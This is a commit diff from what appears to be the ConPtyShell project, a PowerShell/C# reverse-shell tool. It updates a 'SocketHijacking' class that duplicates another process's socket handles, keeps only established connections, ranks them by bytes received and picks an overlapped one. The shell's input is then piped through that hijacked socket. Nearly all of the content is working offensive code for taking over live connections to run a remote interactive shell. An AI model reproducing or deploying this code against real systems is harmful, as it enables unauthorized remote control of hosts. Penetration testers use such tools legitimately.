Skip to content

Commit 2873747

Browse files
committed
updated the powershell wrappers
1 parent 6215e12 commit 2873747

2 files changed

Lines changed: 73 additions & 43 deletions

File tree

Invoke-ConPtyShell.ps1

Lines changed: 72 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -453,6 +453,11 @@ public static class SocketHijacking
453453
public byte[] HelperData;
454454
}
455455
456+
private struct SOCKET_BYTESIN {
457+
public IntPtr handle;
458+
public UInt64 BytesIn;
459+
}
460+
456461
457462
[DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
458463
private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer);
@@ -564,9 +569,55 @@ public static class SocketHijacking
564569
return TypeIndex;
565570
}
566571
567-
private static bool IsSocketHijackable(IntPtr socket)
572+
private static List<IntPtr> DuplicateSocketsFromHandles(List<IntPtr> sockets)
573+
{
574+
List<IntPtr> dupedSocketsOut = new List<IntPtr>();
575+
if (sockets.Count < 1) return dupedSocketsOut;
576+
foreach (IntPtr sock in sockets) {
577+
IntPtr dupedSocket = DuplicateSocketFromHandle(sock);
578+
if(dupedSocket != IntPtr.Zero) dupedSocketsOut.Add(dupedSocket);
579+
}
580+
// cleaning all socket handles
581+
foreach (IntPtr sock in sockets)
582+
CloseHandle(sock);
583+
return dupedSocketsOut;
584+
}
585+
586+
private static List<IntPtr> FilterAndOrderSocketsByBytesIn(List<IntPtr> sockets) {
587+
List<SOCKET_BYTESIN> socketsBytesIn = new List<SOCKET_BYTESIN>();
588+
List<IntPtr> socketsOut = new List<IntPtr>();
589+
foreach (IntPtr sock in sockets) {
590+
TCP_INFO_v0 sockInfo = new TCP_INFO_v0();
591+
if (!GetSocketTcpInfo(sock, out sockInfo)) {
592+
closesocket(sock);
593+
continue;
594+
}
595+
// Console.WriteLine("debug: Socket handle 0x" + sock.ToString("X4") + " is in tcpstate " + sockInfo.State.ToString());
596+
// we need only active sockets, the remaing sockets are filtered out
597+
if (sockInfo.State == TcpState.SynReceived || sockInfo.State == TcpState.Established)
598+
{
599+
SOCKET_BYTESIN sockBytesIn = new SOCKET_BYTESIN();
600+
sockBytesIn.handle = sock;
601+
sockBytesIn.BytesIn = sockInfo.BytesIn;
602+
socketsBytesIn.Add(sockBytesIn);
603+
}
604+
else
605+
closesocket(sock);
606+
}
607+
if (socketsBytesIn.Count < 1) return socketsOut;
608+
if (socketsBytesIn.Count >= 2)
609+
// ordering for fewer bytes received by the sockets we have a higher chance to get the proper socket
610+
socketsBytesIn.Sort(delegate (SOCKET_BYTESIN a, SOCKET_BYTESIN b) { return (a.BytesIn.CompareTo(b.BytesIn)); });
611+
foreach (SOCKET_BYTESIN sockBytesIn in socketsBytesIn)
612+
{
613+
socketsOut.Add(sockBytesIn.handle);
614+
// Console.WriteLine("debug: Socket handle 0x" + sockBytesIn.handle.ToString("X4") + " total bytes received: " + sockBytesIn.BytesIn.ToString());
615+
}
616+
return socketsOut;
617+
}
618+
619+
private static bool GetSocketTcpInfo(IntPtr socket, out TCP_INFO_v0 tcpInfoOut)
568620
{
569-
bool ret = false;
570621
int result = -1;
571622
UInt32 tcpInfoVersion = 0;
572623
int bytesReturned = 0;
@@ -576,17 +627,13 @@ public static class SocketHijacking
576627
if (result != 0)
577628
{
578629
// Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString());
579-
ret = false;
580-
}
581-
else
582-
{
583-
TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0));
584-
// Console.WriteLine("debug: Socket handle 0x" + socket.ToString("X4") + " is in tcpstate " + tcpInfoV0.State.ToString() + " total bytes received: " + tcpInfoV0.BytesIn.ToString() + " total bytes sent: " + tcpInfoV0.BytesOut.ToString());
585-
if (tcpInfoV0.State == TcpState.SynReceived || tcpInfoV0.State == TcpState.Established)
586-
ret = true;
630+
tcpInfoOut = new TCP_INFO_v0();
631+
return false;
587632
}
633+
TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0));
634+
tcpInfoOut = tcpInfoV0;
588635
Marshal.FreeHGlobal(tcpInfoPtr);
589-
return ret;
636+
return true;
590637
}
591638
592639
// this function take a raw handle to a \Device\Afd object as a parameter and returns a handle to a duplicated socket
@@ -715,9 +762,10 @@ public static class SocketHijacking
715762
}
716763
}
717764
Marshal.FreeHGlobal(ptrHandlesInfo);
718-
if (socketsHandles.Count >= 2)
719-
// ordering for older handles we have a higher chance to get the proper socket
720-
socketsHandles.Sort(delegate (IntPtr a, IntPtr b) { return (a.ToInt64().CompareTo(b.ToInt64())); });
765+
List<IntPtr> dupedSocketsHandles = DuplicateSocketsFromHandles(socketsHandles);
766+
if (dupedSocketsHandles.Count >= 1)
767+
dupedSocketsHandles = FilterAndOrderSocketsByBytesIn(dupedSocketsHandles);
768+
socketsHandles = dupedSocketsHandles;
721769
return socketsHandles;
722770
}
723771
@@ -733,24 +781,19 @@ public static class SocketHijacking
733781
SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN();
734782
int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess);
735783
int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess);
736-
IntPtr duplicatedParentSocket = DuplicateSocketFromHandle(parentSocketHandle);
737-
if (duplicatedParentSocket == IntPtr.Zero) continue;
738784
if (
739785
(getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) == 0) &&
740-
(getpeername(duplicatedParentSocket, ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) &&
786+
(getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) &&
741787
(sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port)
742788
)
743789
{
744-
// Console.WriteLine("debug: found inherited socket! handle --> 0x" + duplicatedParentSocket.ToString("X4"));
790+
// Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4"));
745791
inherited = true;
746-
closesocket(duplicatedParentSocket);
792+
closesocket(parentSocketHandle);
747793
break;
748794
}
749-
closesocket(duplicatedParentSocket);
795+
closesocket(parentSocketHandle);
750796
}
751-
// cleaning all socket handles
752-
foreach (IntPtr dupHandle in parentSocketsHandles)
753-
CloseHandle(dupHandle);
754797
return inherited;
755798
}
756799
@@ -789,36 +832,23 @@ public static class SocketHijacking
789832
{
790833
IntPtr targetSocketHandle = IntPtr.Zero;
791834
List<IntPtr> targetProcessSockets = GetSocketsTargetProcess(targetProcess);
792-
if (targetProcessSockets.Count < 1)
793-
return targetSocketHandle;
835+
if (targetProcessSockets.Count < 1) return targetSocketHandle;
794836
else
795837
{
796838
foreach (IntPtr socketHandle in targetProcessSockets)
797839
{
798-
IntPtr dupSocketHandle = IntPtr.Zero;
799-
dupSocketHandle = DuplicateSocketFromHandle(socketHandle);
800-
if (dupSocketHandle == IntPtr.Zero) continue;
801-
if (!IsSocketHijackable(dupSocketHandle))
802-
{
803-
closesocket(dupSocketHandle);
804-
continue;
805-
}
806-
if (!IsSocketOverlapped(dupSocketHandle))
840+
if (!IsSocketOverlapped(socketHandle))
807841
{
808842
Console.WriteLine("Found a usable socket, but it has not been created with the flag WSA_FLAG_OVERLAPPED, skipping...");
809-
closesocket(dupSocketHandle);
843+
closesocket(socketHandle);
810844
continue;
811845
}
812-
targetSocketHandle = dupSocketHandle;
846+
targetSocketHandle = socketHandle;
813847
break;
814848
}
815849
}
816-
// cleaning all socket handles
817-
foreach (IntPtr dupHandle in targetProcessSockets)
818-
CloseHandle(dupHandle);
819850
if (targetSocketHandle == IntPtr.Zero)
820-
throw new ConPtyShellException("Found multiple sockets. No one was active or overlapped, so no hijackable sockets found. Exiting...");
821-
851+
throw new ConPtyShellException("No overlapped sockets found, so no hijackable sockets found :( Exiting...");
822852
return targetSocketHandle;
823853
}
824854
}
@@ -1286,7 +1316,7 @@ public static class ConPtyShell
12861316
nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0);
12871317
writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);
12881318
} while (nBytesReceived > 0 && writeSuccess);
1289-
// Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString());
1319+
// Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString());
12901320
TerminateProcess(hChildProcess, 0);
12911321
}
12921322

Invoke-ConPtyShell2.ps1

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)